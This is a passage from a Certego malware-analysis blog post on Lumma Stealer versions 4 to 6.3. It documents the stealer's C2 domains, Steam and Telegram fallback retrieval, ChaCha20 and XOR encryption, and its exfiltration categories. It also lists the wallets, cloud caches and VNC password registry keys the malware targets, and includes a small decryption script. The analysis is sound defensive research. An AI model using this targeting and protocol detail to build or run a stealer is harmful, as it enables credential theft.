inflating: Chrome/Default/Login Data For Account

inflating: Chrome/Default/Network/Cookies

inflating: Chrome/Default/Web Data

inflating: Chrome/ab.txt

inflating: Chrome/BrowserVersion.txt


2. Edge data — pid=2

inflating: Edge/dp.txt

inflating: Edge/Default/History

inflating: Edge/Default/Login Data

inflating: Edge/Default/Web Data

inflating: Edge/BrowserVersion.txt


3. Firefox data — pid=3

inflating: Mozilla Firefox/fqs92o4p.default-release/key4.db

inflating: Mozilla Firefox/fqs92o4p.default-release/cert9.db

inflating: Mozilla Firefox/fqs92o4p.default-release/cookies.sqlite

inflating: Mozilla Firefox/fqs92o4p.default-release/places.sqlit


4. User “Important Files” (e.g., .txt files on Desktop) — pid=1
5. Software inventory and process list (e.g., Software.txt, Processes.txt) — pid=1

https://www.virustotal.com/gui/search/d795aeec6dedacf10f82dd31d69ead6946b88a66ec211e81f1eb190102524578
https://www.virustotal.com/gui/search/250098f7c58e2290a2056e00d0c5127b
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6. System information (e.g., System.txt, optionally Clipboard.txt, and Screen.png) —
pid=1

By analyzing network traffic collected from public sandboxes and from controlled local
executions, in which specific softwares was installed to reflect the targets defined in the
configuration received via the recive_message command, I was able to identify three main
exfiltration categories associated with the pid parameter:

pid=2: data from Chromium-based browsers and associated crypto or 2FA extensions
pid=3: data from Mozilla Firefox and associated crypto or 2FA extensions
pid=1: general system and user profiling (including screenshots, clipboard data,
process lists, and sensitive documents)

This behavior suggests that Lumma Stealer adopts a modular approach to data exfiltration,
where each category of information is sent in a separate and ordered way. This structure
likely helps reduce the risk of detection and improves the reliability of the operation.

Dynamic retrieve of new C2s

During analysis of LummaC2 network traffic, it was observed that the malware contacts
legitimate web services to retrieve additional information needed to continue its execution.
One notable example involves accessing a Steam profile hosted at
steamcommunity.com/profiles/76561199724331900, which returned a public page
containing the username xlcdslw-ksfvzg.nzx.

Initially, the string xlcdslw-ksfvzg.nzx did not correspond to any known domain or
recognizable token. However, its fully alphabetic composition and domain-like structure
suggested it was lightly obfuscated rather than strongly encrypted. By comparing the
ciphertext with the decrypted result present in the network traffic marshal-zhukov.com, it
became clear that each character in the ciphertext corresponds to a plaintext character at a
fixed distance of 15 positions in the alphabet. For example:

ciphertext “x” maps to plaintext “m” (a backward shift of 15)
ciphertext “l” maps to plaintext “a” (again a shift of 15)
...

To validate this hypothesis, all possible Caesar rotations (ROT-1 to ROT-25) were tested
using a brute-force script that systematically applies each rotation and looks for the marshal-
zhukov.com domain in the output. Here is the script and the output that confirms the use of
ROT-15.




Update 10/01/2025: Changed hardcoded domains decryption

https://federicofantini.github.io/TheTrackerShow/scripts/python/04-lummastealer_v4_bruteforce_Caesar_cipher/
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Introduction

The following technical analysis focuses on a sample of Lumma Stealer retrieved from the
MalwareBazaar platform.
 All the techniques previously described in this blog post were
applied to this variant. For the sake of brevity, this section will focus exclusively on the
differences and new findings specific to this sample.

Since the communication mechanism remained unchanged in this version, the update was
not analyzed immediately. A more in-depth investigation was carried out only after March 6,
2025. As a result, some traces of the subsequent update (such as the appearance of the uid
string) are already present in this analysis. For clarity and consistency, these elements will
only be mentioned briefly here and will be discussed in detail in the appropriate section
dedicated to the newer version.

Dynamic analysis

By running the new sample in CAPEv2 with INetSim enabled, I was able to easily extract the
command and control (C2) domains used by the malware.

The first HTTP request is always made to the Telegram endpoint t.me/asdawfq, which is
used to dynamically fetch a new C2 domain. The next requests, which represent the
hardcoded C2s in the malware itself, are:

astralconnec.icu/DPowko

begindecafer.world/QwdZdf

garagedrootz.top/oPsoJAN

modelshiverd.icu/bJhnsj

arisechaird.shop/JnsHY

catterjur.run/boSnzhu

orangemyther.live/IozZ

fostinjec.today/LksNAz

sterpickced.digital/plSOz


Finally, two additional requests are directed to
steamcommunity.com/profiles/76561199822375128, which appears to serve as a fallback
mechanism for dynamically retrieving C2 domains if the Telegram-based method fails.

This behavior shows a major change in how C2 endpoints are contacted. Instead of always
using the static /api path as in earlier versions, the new variant uses dynamic and
unpredictable URLs. This is likely intended to evade pattern-based detection mechanisms.

Identifying the decryption routine

The image below illustrates the logical flow that led to the identification of a new decryption
function in the analyzed Lumma Stealer sample.

https://bazaar.abuse.ch/sample/38d0913c2700b23f2e7f8196d570b3112ecc205651cab4f079e53a93b81be5f3/
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Until the call to the function at address 0x40da90, the malware exclusively attempts to
contact legitimate services such as Telegram or Steam, with the goal of dynamically
retrieving updated C2 domains. From this point onward, execution continues into the function
located at 0x4113b0, which immediately invokes a subroutine at 0x411770.

This subroutine retrieves the string uid, which, like the lid string previously observed, is
hardcoded in the .rdata section of memory.

Next, the function decodes the string Content-Type: application/x-www-form-

urlencoded and proceeds to call a subroutine at 0x40ef00, responsible for de-obfuscating
the user agent string. Following this step, the malware invokes the standard Windows API
WinHttpOpen() and then calls another function at 0x40fdc0, which prepares the necessary
arguments before making a final call to the function at 0x40cd20. For clarity, we refer to this
last function as lumma_new_decryption().

The function receives four arguments:

1. a pointer to an initialization structure containing the string expand 32-byte k
2. a pointer to a buffer that appears to be ciphertext, presumably the input to be decrypted
3. a second buffer that is likely used as output
4. the length of the input buffer

Notably, the second argument points to the .rdata section, indicating that it likely contains
hardcoded and encrypted domain names, as previously observed in earlier stages of the
analysis.

Understanding the Decryption Logic

Salsa20 and Chacha20

Salsa20 is a stream cipher designed by Daniel J. Bernstein in 2005. It operates on a 512-bit
internal state structured as a 4×4 matrix of 32-bit words. The matrix includes a 256-bit key, a
64-bit nonce, a 64-bit counter, and a 128-bit constant: "expand 32-byte k".

This ASCII string is split into four 32-bit words and inserted into the matrix to distinguish the
256-bit key setup. For 128-bit keys, the constant "expand 16-byte k" is used instead. The
constant ensures unambiguous initialization and avoids collisions between different key
lengths.

The cipher applies 20 rounds of simple operations (modular addition, XOR, and rotation) to
generate the keystream.
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ChaCha20 is a modified version of Salsa20 that retains the same input structure (including
the "expand 32-byte k" constant) but changes the round function for better diffusion and
resistance to attacks. It is now widely adopted in modern cryptographic protocols.

Both Salsa20 and ChaCha20 initialize a 4×4 state matrix using the constant string "expand
32-byte k", followed by the key, a counter, and a nonce. The key difference is in the
placement of the counter and nonce:

Salsa20 places the counter in the middle and the nonce in the upper-right.
ChaCha20 places the counter in the lower-left and the nonce in the lower-right.

Chacha20 proof

As shown in the following image, the memory dump observed during the analysis matches
the ChaCha20 layout, including the constants, key, counter, and nonce positions. This
strongly suggests the function implements ChaCha20.

chacha20 confirm
An important clarification: the presence of an 8-byte nonce and an 8-byte counter indicates
that this corresponds to the original ChaCha20 construction, not the modern standardized
variant defined in RFC 8439, which specifies a 12-byte nonce and a 4-byte counter.

To confirm that the lumma_new_decryption() function actually implements the ChaCha20
cipher, the encrypted data observed in memory was transferred to Python and decrypted
using the official ChaCha20 library implementation. As shown in the previously referenced
image, the function is invoked with four arguments: an initialization structure (containing the
string expand 32-byte k), the ciphertext buffer, an output buffer, and the ciphertext length. A
key detail to note is that, at the time the screenshot is taken, the internal counter is set to 2.

Since ChaCha20 is a stream cipher whose keystream generation is sensitive to the internal
block counter, it was necessary to simulate multiple decryption cycles to automatically
increment the internal counter. This Python script illustrates this approach. When the
decryption routine is invoked the second time (counter=2), the plaintext is recovered
correctly, revealing the expected C2 domain astralconnec.icu/DPowko.

This experiment provides strong evidence that the function under analysis implements the
ChaCha20 algorithm.




Update 06/03/2025: Changed communication protocol = lumma v6.3

Introduction

https://certego.github.io/website/static/a0d76fd1ecf4485004b7166352e5700c/d0c0e/chacha20%20confirm.png
https://datatracker.ietf.org/doc/html/rfc8439
https://federicofantini.github.io/TheTrackerShow/scripts/python/05-lummastealer_v6.3_chacha20_proof/
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The release of Lumma Stealer version 6.3 introduced significant changes to the malware's
C2 communication protocol. At first glance, the structure of the interaction appears
significantly altered compared to the previous version.

One of the most noticeable changes is the removal of the act parameter, which previously
made it easier to identify and differentiate the different communication phases. Additionally,
the initial act=life step (used in previous versions as a sort of "ping" of the server) has been
removed. Communication now starts directly with what was previously known as
act=recive_message, presumably to be more stealthy.

The updated structure of the three steps of the malware's C2 protocol can be summarized as
follows:

recive_message:

Client-side parameters: uid=...&cid=...
The uid parameter likely serves as a
unique identifier for the client that has purchased access to the Malware-as-a-
Service (MaaS) infrastructure, replacing the previous lid field.

Server response: Encrypted data, now using a new encryption scheme (discussed in
the following sections).

send_message:

Client-side payload: Form data containing uid, pid, hwid, and a file encrypted
using the new scheme.
Server Response: JSON confirmation message indicating successful delivery of
data, e.g. {"success":{"message":"message success delivery from [IP-

ADDR]"}}.
get_message:

Client-side parameters: uid=...&cid=...&hwid=...
Server Response: Encrypted data retrieved using the new encryption scheme.

Although the format of the communication has been obfuscated, its logical structure remains
largely intact. The protocol still clearly separates the three main phases of the interaction.
However, to identify whether a message matches recive_message or get_message, it is now
necessary to check for the presence or absence of the hwid parameter.

In the next sections I will look in detail at the new encryption scheme and all the various
changes it brings.

Retrieve configuration and commands



27/32

To replicate and analyze the behavior of the sample, I again captured the entire
communication flow using CAPEv2 and implemented a Python HTTPS server that replayed,
byte-for-byte, the responses associated with the recive_message and get_message

commands, as observed during the dynamic analysis.

What makes this step of the analysis particularly noteworthy is that the execution path again
reaches the lumma_new_decryption() function, previously discussed in detail. However,
unlike the previous case involving the decryption of hardcoded C2 domains, the decryption
mechanism now features a crucial difference: both the key and the nonce are directly derived
from the ciphertext itself. This design choice is not entirely new in the context of Lumma
Stealer; in fact, if we think about the previous version of the malware, where the XOR
decryption key (32 bytes) was located at the beginning of the ciphertext.

In the following image, the right terminal shows the output of the script used to emulate the
responses recorded by CAPEv2, while the left shows x64dbg pausing just before the call to
lumma_new_decryption(). As highlighted, the first 32 bytes of the payload are extracted and
used as the encryption key, followed by 8 bytes used as the nonce. The counter, however, is
set to zero since the ciphertext is initialized for each ciphertext.

All the previous deductions regarding the ChaCha20-based decryption routine remain valid,
with the only difference being the way the ciphertext is initialized. The decryption method just
discussed applies to responses received from both recive_message and get_message. To
validate this behavior, I implemented a Python script that replicates the decryption logic.

Exfiltrate stolen data

Dynamic analysis shows that the data exfiltration phase has also been updated: in fact,
unlike previous versions, the ZIP file is no longer visible in clear text within the traffic, but is
encrypted in some way.

Once again we return to the invocation of the same function lumma_new_decryption(),
which in this context is used to encrypt (and not decrypt) the data to be sent. It is worth
remembering that ChaCha20 is a symmetric stream cipher: it uses the same algorithm for
both encryption and decryption. In fact, ChaCha20 applies a XOR operation between the
data to be encrypted and a pseudo-random stream generated from a key and a nonce.

The image below clearly highlights the parameters provided as input to the function.

The second argument, corresponding to the buffer to be encrypted, contains a ZIP archive,
as confirmed by the presence of the magic number PK. This suggests that the structure of the
exfiltrated file has not been altered by this update: what changes is only the way the content
is protected through encryption.

https://federicofantini.github.io/TheTrackerShow/scripts/fakenet/02-lummastealer_v6.3_fakenet/
https://federicofantini.github.io/TheTrackerShow/scripts/python/06-lummastealer_v6.3_communication_decryption_proof/
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The first parameter instead shows the initialization of the cipher, containing the key and the
nonce used to generate the ChaCha20 stream.

Finally, in the terminal on the right, the output of the Python script used to emulate an HTTPS
server is visible. Note how, in this phase, unlike the decryption of the command
configurations, the key and the nonce are not placed at the beginning, but at the end of the
encrypted payload.




Update 01/04/2025: Strings encryption

Retrieved configuration strings are also encrypted

In this update, a change has been observed in the handling of commands sent by the C2
server in response to the recive_message command. In previous versions, the content of the
JSON file sent by the server (after decryption with XOR or ChaCha20) was cleartext, as in
the following example (simplified for clarity):

{

 "v": 4,

 "se": true,

 "ad": false,

 "vm": false,

 "ex": [...],

 "mx": [

   {

     "en": "webextension@metamask.io",

     "ez": "MetaMask",

     "et": "\"params\":{\"iterations\":600000}"

   }

 ],

 "c": [...]

}


In newer versions, all text values ​​are encrypted instead. Here is a representative example of
the mx section:

https://federicofantini.github.io/TheTrackerShow/scripts/fakenet/02-lummastealer_v6.3_fakenet/
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{

 "v": 4,

 "se": true,

 "ad": false,

 "vm": false,

 "ex": [...],

 "mx": [

   {


     "en":
"Ci1CgzXEg0F9LSeDV8TmQXItNoNQxO1BeS0rg1rE7UFKLS+DUMT3QWstL4NUxPBBYS1sg1zE7EE=",

     "ez": "Ci1CgzXEg0FHLSeDQcTiQUctI4NGxOhB",


     "et":
"Ci1CgzXEg0EoLTKDVMTxQWstL4NGxKFBMC05gxfE6kF+LSeDR8TiQX4tK4NaxO1BeS1ggw\\/EtUE6LXKDBc
SzQTotP4M="

   }

 ],

 "c": [...]

}


By decoding the strings in base64, we obtain binary data, which has an interesting feature:
the first 8 bytes of each encrypted blob are identical, suggesting that these constitute the key
used for a symmetric XOR operation (similar to the decryption of the configurations with
lummav4).

encs = [

 b"\n-B\x835\xc4\x83A}-'\x83W\xc4\xe6Ar-6\x83P\xc4\xedAy-+\x83Z

\xc4\xedAJ-/\x83P\xc4\xf7Ak-/\x83T\xc4\xf0Aa-l\x83\\\xc4\xecA",

 b"\n-B\x835\xc4\x83AG-'\x83A\xc4\xe2AG-#\x83F\xc4\xe8A",


 b"\n-B\x835\xc4\x83A(-2\x83T\xc4\xf1Ak-/\x83F\xc4\xa1A0-9\x83\x17\xc4\xeaA~-
'\x83G\xc4\xe2A~-+\x83Z\xc4\xedAy-`\x83\x0f\xc4\xb5A:-r\x83\x05\xc4\xb3A:-?\x83",

]


A quick implementation to see if it works or not:

for enc in encs:

 key = enc[:8] * 10

 xored = bytearray([enc[i] ^ key[i] for i in range(len(enc))])

 # null (`\x00`) byte removal, presumably introduced as padding

 dec = [bytes([i]) for i in xored.strip(b"\x00") if bytes([i]) != b"\x00"]

 print(b"".join(dec).decode("utf-8"))


Decrypted output:

webextension@metamask.io

MetaMask

"params":{"iterations":600000}


To generalize this intuition I wrote a Python script that decrypts the entire json file. Below I
report the additions made between version 4 and version 6.3 (at the latest update) of the
json file:

https://federicofantini.github.io/TheTrackerShow/scripts/python/07-lummastealer_v6.3_json_file_strings_decryption/
https://federicofantini.github.io/TheTrackerShow/scripts/python/03-lummastealer_v4_communication_decryption_proof/
https://federicofantini.github.io/TheTrackerShow/scripts/python/07-lummastealer_v6.3_json_file_strings_decryption/
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Browser extension:
Blade Wallet (abogmiocnneedmmepnohnhlijcjpcifd)

Folders:
%appdata%\Armory → *.wallet
%appdata%\gcloud → *.db, *.json
%localappdata%\.IdentityService → msal.cache, msalv2.cache
UltraVNC → ultravnc.ini from %programw6432% and %programfiles%

Registries:
\\REGISTRY\\MACHINE\\SOFTWARE\\TightVNC\\Server → Password
\\REGISTRY\\MACHINE\\SOFTWARE\\TightVNC\\Server → ControlPassword
\\REGISTRY\\MACHINE\\SOFTWARE\\RealVNC\\vncserver → Password
\\REGISTRY\\CURRENT_USER\\Software\\TigerVNC\\WinVNC4 → Password

Dropped file decryption

As discussed in the namesake section from version 4, the previous method consisted of
Base64 decoding followed by an XOR operation using a 32-byte key prepended to the
ciphertext. This approach was also used to decrypt network communications in Lumma
Stealer v4.

Following the update to the encrypted strings in the configuration file retrieved via the
recive_message command, the same encryption method has now been also applied to the
dropped files received through the get_message command. Notably, the key has been
reduced to just 8 bytes.




Lumma Stealer seen from the Certego perspective

Certego detects Lumma Stealer through a combination of signature-based detection via IDS,
behavioral monitoring of endpoints via EDR, and threat intelligence correlation based on
known indicators and campaign characteristics. Despite its widespread distribution, Lumma
poses limited risk to enterprise companies that are properly protected by a proactive, first-
class MDR system.

Lumma Stealer has shown minimal impact on our Customers using PanOptikon® platform.
To date, we have only seen 17 cases involving this malware specifically. Its limited presence
is consistent with its low effectiveness in enterprise environments, where enterprise-level
endpoint protection, EDR, and network-level defenses - together with Certego services -
significantly reduce its success rate.
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What we observed is that when corporate credentials compromised by Lumma do surface,
they typically originate from personal devices. In several cases, employees had saved work
credentials in browser password managers on their home computers, which were
subsequently infected by Lumma or similar stealers such as RedLine, leading to enterprise
credential compromise, along with personal ones.




A personal consideration

It is worth noting that in the transition from version 4 to version 6.3, the threat actor first
modified the decryption method used for hardcoded C2 domains and later applied the same
method to the communication protocol. In a similar way, the decryption routine from version
4, which was based on Base64 decoding followed by an XOR operation, was reused to
encrypt the strings contained in the JSON structures of the recive_message and
get_message commands, although with a reduced key length.

From a defensive perspective, this reuse and redistribution of known logic greatly simplifies
the analysis process and makes the malware's future behavior more predictable. If a future
update is released, it is reasonable to expect that the decryption method for hardcoded C2
domains will be changed first. Then, after approximately two to three months, the same
technique will likely be applied to the communication logic, with some structural adjustments.
The previously used method may still be employed in secondary or less critical components
as string encryption.




Final Remarks

This analysis was conducted between October 2024 and April 2025. During this period, we
chose not to publish any preliminary blog posts, as revealing technical details about Lumma
Stealer could have prompted its administrators to release an updated version. Such a
change would have significantly hindered the progress of the thesis work. The full thesis,
which documents the analysis and the development of the associated framework, will be
published shortly and linked at the top of this blog post.
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Clicking Submit, I agree to the use of my personal data in accordance with Certego Privacy
Policy  for the purpose sub. 2 paragraph “Purposes of the Data processing and legal
basis”. Certego will not sell, trade, lease, or rent your personal data to third parties.

https://certego.github.io/website/privacy/

